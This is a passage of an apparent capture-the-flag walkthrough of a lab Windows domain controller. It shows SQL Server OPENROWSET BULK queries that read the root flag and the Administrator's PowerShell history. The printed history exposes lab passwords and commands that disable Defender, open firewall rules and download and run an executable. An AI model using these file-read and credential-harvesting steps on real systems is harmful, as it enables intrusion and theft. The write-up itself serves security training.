NT SERVICE\MSSQLSERVER                     Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner       
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group   
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group   
Mandatory Label\High Mandatory Level       Label            S-1-16-12288
NULL     
</span></code></pre></div></div>

<p>But <code class="language-plaintext highlighter-rouge">OPENROWSET</code> with the <code class="language-plaintext highlighter-rouge">BULK</code> keyword can read files using those groups:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  dbo@master)&gt; </span><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">OPENROWSET</span><span class="p">(</span><span class="n">BULK</span> <span class="s1">'C:</span><span class="se">\U</span><span class="s1">sers</span><span class="se">\A</span><span class="s1">dministrator</span><span class="se">\D</span><span class="s1">esktop</span><span class="se">\r</span><span class="s1">oot.txt'</span><span class="p">,</span> <span class="n">SINGLE_CLOB</span><span class="p">)</span> <span class="k">AS</span> <span class="n">Contents</span><span class="p">;</span>
<span class="go">BulkColumn                                
---------------------------------------   
b'2e43af1f************************\r\n'
</span></code></pre></div></div>

<h4 id="shell">Shell</h4>

<p>An interesting file to read is the Administrator’s PowerShell history file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL (SIGNED\mssqlsvc  dbo@master)&gt; </span><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">OPENROWSET</span><span class="p">(</span><span class="n">BULK</span> <span class="s1">'C:</span><span class="se">\U</span><span class="s1">sers</span><span class="se">\A</span><span class="s1">dministrator</span><span class="se">\A</span><span class="s1">ppData</span><span class="se">\R</span><span class="s1">oaming</span><span class="se">\M</span><span class="s1">icrosoft</span><span class="se">\W</span><span class="s1">indows</span><span class="se">\P</span><span class="s1">owerShell</span><span class="se">\P</span><span class="s1">SReadLine</span><span class="se">\C</span><span class="s1">onsoleHost_history.txt'</span><span class="p">,</span> <span class="n">SINGLE_CLOB</span><span class="p">)</span> <span class="k">AS</span> <span class="n">Contents</span><span class="p">;</span>
<span class="go">BulkColumn
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
b'# Domain`\n$Domain = "signed.htb"`\n`\n# Groups`\n$Groups = @("HR","IT","Finance","Developers","Support")`\n`\nforeach ($grp in $Groups) {`\n    if (-not (Get-ADGroup -Filter "Name -eq \'$grp\'" -ErrorAction SilentlyContinue)) {`\n        New-ADGroup -Name $grp -GroupScope Global -GroupCategory Security`\n    }`\n}`\n`\n# Users: Username, Password, Group`\n$Users = @(`\n    @{Username="oliver.mills";       Password="!Abc987321$"; Group="HR"},`\n    @{Username="emma.clark";         Password="!Xyz654789#"; Group="HR"},`\n    @{Username="liam.wright";        Password="!Qwe123789&amp;"; Group="HR"},`\n`\n    @{Username="noah.adams";         Password="!ItDev456$"; Group="IT"},`\n    @{Username="ava.morris";         Password="!ItDev789#"; Group="IT"},`\n`\n    @{Username="sophia.turner";      Password="!Fin987654$"; Group="Finance"},`\n    @{Username="james.morgan";       Password="!Fin123987#"; Group="Finance"},`\n    @{Username="mia.cooper";         Password="!Fin456321&amp;"; Group="Finance"},`\n`\n    @{Username="elijah.brooks";      Password="!Dev123456$"; Group="Developers"},`\n    @{Username="isabella.evans";     Password="!Dev789654#"; Group="Developers"},`\n    @{Username="lucas.murphy";       Password="!Dev321987&amp;"; Group="Developers"},`\n    @{Username="william.johnson";    Password="!ItDev321&amp;"; Group="Developers"},`\n`\n    @{Username="charlotte.price";    Password="!Sup123456$"; Group="Support"},`\n    @{Username="henry.bennett";      Password="!Sup654321#"; Group="Support"},`\n    @{Username="amelia.kelly";       Password="!Sup987123&amp;"; Group="Support"},`\n    @{Username="jackson.gray";       Password="!Sup321654$"; Group="Support"},`\n    @{Username="harper.diaz";        Password="!Sup789321#"; Group="Support"}`\n)`\n`\nforeach ($u in $Users) {`\n    if (-not (Get-ADUser -Filter "SamAccountName -eq \'$($u.Username)\'" -ErrorAction SilentlyContinue)) {`\n        New-ADUser -Name $u.Username ``\n            -SamAccountName $u.Username ``\n            -UserPrincipalName "$($u.Username)@$Domain" ``\n            -AccountPassword (ConvertTo-SecureString $u.Password -AsPlainText -Force) ``\n            -Enabled $true ``\n            -PasswordNeverExpires $true`\n`\n        Add-ADGroupMember -Identity $u.Group -Members $u.Username`\n    }`\n}\r\nInvoke-WebRequest -Uri "https://go.microsoft.com/fwlink/?linkid=2215202&amp;clcid=0x409&amp;culture=en-us&amp;country=us" -OutFile "C:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe"\r\nC:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe\r\ncd \\\r\ndir\r\ncd .\\SQL2022\\\r\ndir\r\ncd .\\Evaluation_ENU\\\r\ndir\r\n.\\SETUP.EXE /ACTION=Install\r\nget-service -Name MSSQLSERVER\r\nNew-NetFirewallRule -DisplayName "SQL Server TCP 1433" -Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow -Profile any\r\nget-service -Name MSSQLSERVER\r\nSet-Service mssqlserver -StartupType automatic\r\nget-service -Name MSSQLSERVER\r\nStart-Service mssqlserver\r\nwhoami /all\r\nsecedit /export /cfg C:\\windows\\tasks\\cur.inf\r\nnotepad C:\\windows\\tasks\\cur.inf\r\nsecedit /configure /db C:\\Windows\\Security\\local.sdb /cfg C:\\windows\\tasks\\cur.inf /areas USER_RIGHTS\r\nsc.exe privs MSSQLSERVER SeChangeNotifyPrivilege/SeCreateGlobalPrivilege/SeIncreaseWorkingSetPrivilege/SeIncreaseQuotaPrivilege\r\nRestart-Service mssqlserver\r\n$zone = "DC=signed.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=signed,DC=htb"`\n$account = Get-ADUser mssqlsvc`\n`\n$acl = Get-ACL "AD:$zone"`\n$identity = New-Object System.Security.Principal.NTAccount($account.SamAccountName)`\n`\n$rights = [System.DirectoryServices.ActiveDirectoryRights]"GenericAll"`\n$inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::All`\n$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($identity,$rights,"Allow",$inheritance)`\n`\n$acl.AddAccessRule($ace)`\nSet-ACL -ACLObject $acl "AD:$zone"\r\nEnable-PSRemoting -Force\r\n$FQDN = "dc01.signed.htb"`\n$cert = New-SelfSignedCertificate -DnsName $FQDN -CertStoreLocation Cert:\\LocalMachine\\My -KeyExportPolicy Exportable -FriendlyName "WinRM HTTPS $FQDN" -NotAfter (Get-Date).AddYears(5)`\n$thumb = ($cert.Thumbprint).Replace(" ","")`\nwinrm create winrm/config/Listener?Address=*+Transport=HTTPS "@{Hostname=`"$FQDN`";CertificateThumbprint=`"$thumb`"}"\r\ntry { winrm delete winrm/config/Listener?Address=*+Transport=HTTP } catch {}\r\nSet-Item -Path WSMan:\\localhost\\Client\\TrustedHosts -Value * -Force`\nnetsh advfirewall firewall add rule name="WinRM over HTTPS (5986)" dir=in action=allow protocol=TCP localport=5986`\nRestart-Service WinRM -Force\r\nnetstat -ano -p tcp\r\nwinrm enumerate winrm/config/listener\r\nwinrm get winrm/config\r\nNew-NetFirewallRule -DisplayName "Allow RDP - Any IP" ``\n    -Direction Inbound ``\n    -Protocol TCP ``\n    -LocalPort 3389 ``\n    -Action Allow ``\n    -Profile Any ``\n    -Enabled True ``\n    -Description "Allow RDP access from any IP address (testing only)"\r\nSet-NetFirewallProfile -Profile Domain,Public,Private -DefaultInboundAction Block -DefaultOutboundAction Allow\r\nNew-NetFirewallRule -DisplayName "Allow DNS - Domain Only" ``\n    -Direction Inbound ``\n    -Protocol UDP ``\n    -LocalPort 53 ``\n    -Action Allow ``\n    -Profile Any ``\n    -Description "Allow DNS queries from domain network"\r\nGet-NetFirewallRule -Direction Inbound | Where-Object {$_.DisplayName -notlike "Allow *"} | Disable-NetFirewallRule\r\nNew-NetFirewallRule -DisplayName "Allow MSSQL - Any IP" ``\n    -Direction Inbound ``\n    -Protocol TCP ``\n    -LocalPort 1433 ``\n    -Action Allow ``\n    -Enabled True ``\n    -Profile Any ``\n    -Description "Allow MSSQL access from any IP address"\r\nls \\users\\\r\ncd .\\Desktop\\\r\nnotepad root.txt\r\nnotepad C:\\Users\\mssqlsvc\\Desktop\\user.txt\r\ndir\r\ncmd /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -RemoveDefinitions -All\r\npowershell -command \'Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true\' \r\ndir\r\ncd \\windows\\takss\r\ncd C:\\windows\\Tasks\\\r\ndir\r\ndel *\r\ndir\r\ncd \\\r\ndir\r\ncd users\r\ncd .\\Administrator\\Desktop\\\r\nnotepad cleanup.ps1\r\ncls\r\n$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-ExecutionPolicy Bypass -File C:\\Users\\Administrator\\Documents\\cleanup.ps1"`\n$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 15) -RepetitionDuration (New-TimeSpan -Days 365)`\n$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable`\nRegister-ScheduledTask -TaskName "Clean_DNS_Task" -Action $Action -Trigger $Trigger -Settings $Settings -User "SIGNED\\Administrator" -Password "Welcome1"\r\ncd ..\\Documents\\\r\nnotepad restart.ps1\r\nexplorer .\r\ndir ..\\Desktop\\\r\nmove ..\\Desktop\\cleanup.ps1 .\r\ndir ..\\Desktop\\\r\ndir\r\nGet-NetConnectionProfile\r\nSet-ADAccountPassword -Identity "Administrator" -NewPassword (ConvertTo-SecureString "Th1s889Rabb!t" -AsPlainText -Force) -Reset\r\nSet-Service TermService -StartupType disabled\r\nexit\r\nGet-NetConnectionProfile\r\nnltest /dsgetdc:signed.htb\r\nwusa /uninstall /kb:5065428\r\niwr http://10.10.11.90:81/vmt.exe -O vmt.exe\r\niwr http://10.10.15.62:81/vmt.exe -O vmt.exe\r\n.\\vmt.exe\r\ndel .\\vmt.exe\r\nmanage-bde -off c:\\\r\ndisable-bitlocker -mountpoint c:\\\r\npowershell iwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2024/06/windows10.0-kb5039217-x64_bc72f4ed75c6dd7bf033b823f79533d5772769a3.msu -O update.msu\r\n.\\update.msu\r\ndel .\\update.msu\r\ndir\r\niwr https://catalog.s.download/windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\niwr https://catalog.s.download.windowsupdate.com/c/msdownload/update/software/secu/2025/05/windows10.0-kb5058392-x64_2881b28817b6e714e61b61a50de9f68605f02bd2.msu -O updates.exe\r\n.\\updates.exe.exe\r\n.\\updates.exe\r\nmove .\\updates.exe .\\updates.msu\r\n.\\updates.msu\r\ndel .\\updates.msu\r\n'
</span></code></pre></div></div>

<p>This cleans up (I’ll use Python’s <code class="language-plaintext highlighter-rouge">print</code> function) to:</p>

<div class="language-powershell code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="c"># Domain`</span><span class="w">
</span><span class="nv">$Domain</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"signed.htb"</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
</span><span class="c"># Groups`</span><span class="w">
</span><span class="nv">$Groups</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@(</span><span class="s2">"HR"</span><span class="p">,</span><span class="s2">"IT"</span><span class="p">,</span><span class="s2">"Finance"</span><span class="p">,</span><span class="s2">"Developers"</span><span class="p">,</span><span class="s2">"Support"</span><span class="p">)</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$grp</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$Groups</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="se">`</span><span class="w">
    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="o">-not</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ADGroup</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="s2">"Name -eq '</span><span class="nv">$grp</span><span class="s2">'"</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="se">`</span><span class="w">
        </span><span class="n">New-ADGroup</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nv">$grp</span><span class="w"> </span><span class="nt">-GroupScope</span><span class="w"> </span><span class="nx">Global</span><span class="w"> </span><span class="nt">-GroupCategory</span><span class="w"> </span><span class="nx">Security</span><span class="se">`
</span><span class="w">    </span><span class="p">}</span><span class="se">`</span><span class="w">
</span><span class="p">}</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
</span><span class="c"># Users: Username, Password, Group`</span><span class="w">
</span><span class="nv">$Users</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@(</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"oliver.mills"</span><span class="p">;</span><span class="w">       </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Abc987321$"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"HR"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"emma.clark"</span><span class="p">;</span><span class="w">         </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Xyz654789#"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"HR"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"liam.wright"</span><span class="p">;</span><span class="w">        </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Qwe123789&amp;"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"HR"</span><span class="p">},</span><span class="err">`</span><span class="w">
</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"noah.adams"</span><span class="p">;</span><span class="w">         </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!ItDev456$"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"IT"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"ava.morris"</span><span class="p">;</span><span class="w">         </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!ItDev789#"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"IT"</span><span class="p">},</span><span class="err">`</span><span class="w">
</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"sophia.turner"</span><span class="p">;</span><span class="w">      </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Fin987654$"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Finance"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"james.morgan"</span><span class="p">;</span><span class="w">       </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Fin123987#"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Finance"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"mia.cooper"</span><span class="p">;</span><span class="w">         </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Fin456321&amp;"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Finance"</span><span class="p">},</span><span class="err">`</span><span class="w">
</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"elijah.brooks"</span><span class="p">;</span><span class="w">      </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Dev123456$"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Developers"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"isabella.evans"</span><span class="p">;</span><span class="w">     </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Dev789654#"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Developers"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"lucas.murphy"</span><span class="p">;</span><span class="w">       </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Dev321987&amp;"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Developers"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"william.johnson"</span><span class="p">;</span><span class="w">    </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!ItDev321&amp;"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Developers"</span><span class="p">},</span><span class="err">`</span><span class="w">
</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"charlotte.price"</span><span class="p">;</span><span class="w">    </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Sup123456$"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Support"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"henry.bennett"</span><span class="p">;</span><span class="w">      </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Sup654321#"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Support"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"amelia.kelly"</span><span class="p">;</span><span class="w">       </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Sup987123&amp;"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Support"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"jackson.gray"</span><span class="p">;</span><span class="w">       </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Sup321654$"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Support"</span><span class="p">},</span><span class="err">`</span><span class="w">
    </span><span class="p">@{</span><span class="nx">Username</span><span class="o">=</span><span class="s2">"harper.diaz"</span><span class="p">;</span><span class="w">        </span><span class="nx">Password</span><span class="o">=</span><span class="s2">"!Sup789321#"</span><span class="p">;</span><span class="w"> </span><span class="nx">Group</span><span class="o">=</span><span class="s2">"Support"</span><span class="p">}</span><span class="err">`</span><span class="w">
</span><span class="p">)</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$u</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$Users</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="se">`</span><span class="w">
    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="o">-not</span><span class="w"> </span><span class="p">(</span><span class="n">Get-ADUser</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="s2">"SamAccountName -eq '</span><span class="si">$(</span><span class="nv">$u</span><span class="o">.</span><span class="nf">Username</span><span class="si">)</span><span class="s2">'"</span><span class="w"> </span><span class="nt">-ErrorAction</span><span class="w"> </span><span class="nx">SilentlyContinue</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="se">`</span><span class="w">
        </span><span class="n">New-ADUser</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nv">$u</span><span class="o">.</span><span class="nf">Username</span><span class="w"> </span><span class="se">``</span><span class="w">
            </span><span class="nt">-SamAccountName</span><span class="w"> </span><span class="nv">$u</span><span class="o">.</span><span class="nf">Username</span><span class="w"> </span><span class="err">`</span><span class="se">`</span><span class="w">
            </span><span class="nt">-UserPrincipalName</span><span class="w"> </span><span class="s2">"</span><span class="si">$(</span><span class="nv">$u</span><span class="o">.</span><span class="nf">Username</span><span class="si">)</span><span class="s2">@</span><span class="nv">$Domain</span><span class="s2">"</span><span class="w"> </span><span class="err">`</span><span class="se">`</span><span class="w">
            </span><span class="nt">-AccountPassword</span><span class="w"> </span><span class="p">(</span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="nv">$u</span><span class="o">.</span><span class="nf">Password</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="p">)</span><span class="w"> </span><span class="se">``</span><span class="w">
            </span><span class="nt">-Enabled</span><span class="w"> </span><span class="bp">$true</span><span class="w"> </span><span class="err">`</span><span class="se">`</span><span class="w">
            </span><span class="nt">-PasswordNeverExpires</span><span class="w"> </span><span class="bp">$true</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
        </span><span class="n">Add-ADGroupMember</span><span class="w"> </span><span class="nt">-Identity</span><span class="w"> </span><span class="nv">$u</span><span class="o">.</span><span class="nf">Group</span><span class="w"> </span><span class="nt">-Members</span><span class="w"> </span><span class="nv">$u</span><span class="o">.</span><span class="nf">Username</span><span class="se">`
</span><span class="w">    </span><span class="p">}</span><span class="se">`</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="n">Invoke-WebRequest</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"https://go.microsoft.com/fwlink/?linkid=2215202&amp;clcid=0x409&amp;culture=en-us&amp;country=us"</span><span class="w"> </span><span class="nt">-OutFile</span><span class="w"> </span><span class="s2">"C:\Windows\Tasks\SQL2022-SSEI-Expr.exe"</span><span class="w">
</span><span class="n">C:\Windows\Tasks\SQL2022-SSEI-Expr.exe</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="nx">\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="o">.</span><span class="nx">\SQL2022\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="nx">cd</span><span class="w"> </span><span class="o">.</span><span class="nx">\Evaluation_ENU\</span><span class="w">
</span><span class="n">dir</span><span class="w">
</span><span class="o">.</span><span class="nx">\SETUP.EXE</span><span class="w"> </span><span class="nx">/ACTION</span><span class="o">=</span><span class="n">Install</span><span class="w">
</span><span class="nx">get-service</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">MSSQLSERVER</span><span class="w">
</span><span class="n">New-NetFirewallRule</span><span class="w"> </span><span class="nt">-DisplayName</span><span class="w"> </span><span class="s2">"SQL Server TCP 1433"</span><span class="w"> </span><span class="nt">-Direction</span><span class="w"> </span><span class="nx">Inbound</span><span class="w"> </span><span class="nt">-Protocol</span><span class="w"> </span><span class="nx">TCP</span><span class="w"> </span><span class="nt">-LocalPort</span><span class="w"> </span><span class="nx">1433</span><span class="w"> </span><span class="nt">-Action</span><span class="w"> </span><span class="nx">Allow</span><span class="w"> </span><span class="nt">-Profile</span><span class="w"> </span><span class="nx">any</span><span class="w">
</span><span class="n">get-service</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">MSSQLSERVER</span><span class="w">
</span><span class="n">Set-Service</span><span class="w"> </span><span class="nx">mssqlserver</span><span class="w"> </span><span class="nt">-StartupType</span><span class="w"> </span><span class="nx">automatic</span><span class="w">
</span><span class="n">get-service</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="nx">MSSQLSERVER</span><span class="w">
</span><span class="n">Start-Service</span><span class="w"> </span><span class="nx">mssqlserver</span><span class="w">
</span><span class="n">whoami</span><span class="w"> </span><span class="nx">/all</span><span class="w">
</span><span class="n">secedit</span><span class="w"> </span><span class="nx">/export</span><span class="w"> </span><span class="nx">/cfg</span><span class="w"> </span><span class="nx">C:\windows\tasks\cur.inf</span><span class="w">
</span><span class="n">notepad</span><span class="w"> </span><span class="nx">C:\windows\tasks\cur.inf</span><span class="w">
</span><span class="n">secedit</span><span class="w"> </span><span class="nx">/configure</span><span class="w"> </span><span class="nx">/db</span><span class="w"> </span><span class="nx">C:\Windows\Security\local.sdb</span><span class="w"> </span><span class="nx">/cfg</span><span class="w"> </span><span class="nx">C:\windows\tasks\cur.inf</span><span class="w"> </span><span class="nx">/areas</span><span class="w"> </span><span class="nx">USER_RIGHTS</span><span class="w">
</span><span class="n">sc.exe</span><span class="w"> </span><span class="nx">privs</span><span class="w"> </span><span class="nx">MSSQLSERVER</span><span class="w"> </span><span class="nx">SeChangeNotifyPrivilege/SeCreateGlobalPrivilege/SeIncreaseWorkingSetPrivilege/SeIncreaseQuotaPrivilege</span><span class="w">
</span><span class="n">Restart-Service</span><span class="w"> </span><span class="nx">mssqlserver</span><span class="w">
</span><span class="nv">$zone</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"DC=signed.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=signed,DC=htb"</span><span class="se">`</span><span class="w">
</span><span class="nv">$account</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-ADUser</span><span class="w"> </span><span class="nx">mssqlsvc</span><span class="se">`
`
</span><span class="nv">$acl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-ACL</span><span class="w"> </span><span class="s2">"AD:</span><span class="nv">$zone</span><span class="s2">"</span><span class="se">`
</span><span class="nv">$identity</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Security.Principal.NTAccount</span><span class="p">(</span><span class="nv">$account</span><span class="o">.</span><span class="nf">SamAccountName</span><span class="p">)</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
</span><span class="nv">$rights</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.DirectoryServices.ActiveDirectoryRights</span><span class="p">]</span><span class="s2">"GenericAll"</span><span class="se">`</span><span class="w">
</span><span class="nv">$inheritance</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.DirectoryServices.ActiveDirectorySecurityInheritance</span><span class="p">]::</span><span class="n">All</span><span class="se">`
</span><span class="nv">$ace</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.DirectoryServices.ActiveDirectoryAccessRule</span><span class="p">(</span><span class="nv">$identity</span><span class="p">,</span><span class="nv">$rights</span><span class="p">,</span><span class="s2">"Allow"</span><span class="p">,</span><span class="nv">$inheritance</span><span class="p">)</span><span class="se">`</span><span class="w">
</span><span class="se">`</span><span class="w">
</span><span class="nv">$acl</span><span class="o">.</span><span class="nf">AddAccessRule</span><span class="p">(</span><span class="nv">$ace</span><span class="p">)</span><span class="se">`
</span><span class="nx">Set-ACL</span><span class="w"> </span><span class="nt">-ACLObject</span><span class="w"> </span><span class="nv">$acl</span><span class="w"> </span><span class="s2">"AD:</span><span class="nv">$zone</span><span class="s2">"</span><span class="w">
</span><span class="n">Enable-PSRemoting</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="nv">$FQDN</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"dc01.signed.htb"</span><span class="se">`</span><span class="w">
</span><span class="nv">$cert</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-SelfSignedCertificate</span><span class="w"> </span><span class="nt">-DnsName</span><span class="w"> </span><span class="nv">$FQDN</span><span class="w"> </span><span class="nt">-CertStoreLocation</span><span class="w"> </span><span class="nx">Cert:\LocalMachine\My</span><span class="w"> </span><span class="nt">-KeyExportPolicy</span><span class="w"> </span><span class="nx">Exportable</span><span class="w"> </span><span class="nt">-FriendlyName</span><span class="w"> </span><span class="s2">"WinRM HTTPS </span><span class="nv">$FQDN</span><span class="s2">"</span><span class="w"> </span><span class="nt">-NotAfter</span><span class="w"> </span><span class="p">(</span><span class="n">Get-Date</span><span class="p">)</span><span class="o">.</span><span class="nf">AddYears</span><span class="p">(</span><span class="nx">5</span><span class="p">)</span><span class="se">`
</span><span class="nv">$thumb</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nv">$cert</span><span class="o">.</span><span class="nf">Thumbprint</span><span class="p">)</span><span class="o">.</span><span class="nf">Replace</span><span class="p">(</span><span class="s2">" "</span><span class="p">,</span><span class="s2">""</span><span class="p">)</span><span class="se">`
